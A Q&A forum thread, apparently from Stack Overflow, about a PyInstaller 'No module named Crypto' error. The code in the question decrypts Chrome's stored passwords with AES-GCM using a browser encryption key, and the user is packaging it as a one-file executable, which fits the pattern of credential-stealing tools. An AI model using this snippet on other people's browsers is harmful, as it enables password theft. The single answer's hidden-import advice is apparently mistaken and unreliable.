famelow
famelow

Reputation: 1

how to properly import the Crypto module in py installer

ModuleNotFoundError: No module named 'Crypto' [15312] Failed to execute script 'main' due to unhandled exception!

pyinstaller --noconfirm --onefile --console --hidden-import "Crypto" "main.py"

i tried to import via hidden import but nothing comes out`class import ChromeSelya from Crypto.Cipher import AES

import ChromeSelya # this is my package inside the project
from Crypto.Cipher import AES

class Decrypt:

    def decrypt_data(self, ciphertext):
        initialisation_vector = ciphertext[3:15]
        encrypted_password = ciphertext[15:-16]
        cipher = AES.new(ChromeSelya.Browser().get_encryption_key(), AES.MODE_GCM, initialisation_vector)
        decrypted_pass = cipher.decrypt(encrypted_password)
        decrypted_pass = decrypted_pass.decode()
        return decrypted_pass

Upvotes: 0

Views: 233

Answers (1)

Make sure that the module name matches the one you installed (pycryptodome), not Crypto.

Then you can use:

pyinstaller --noconfirm --onefile --console --hidden-import "pycryptodome" "main.py"

Hope it works

Upvotes: 0

Related Questions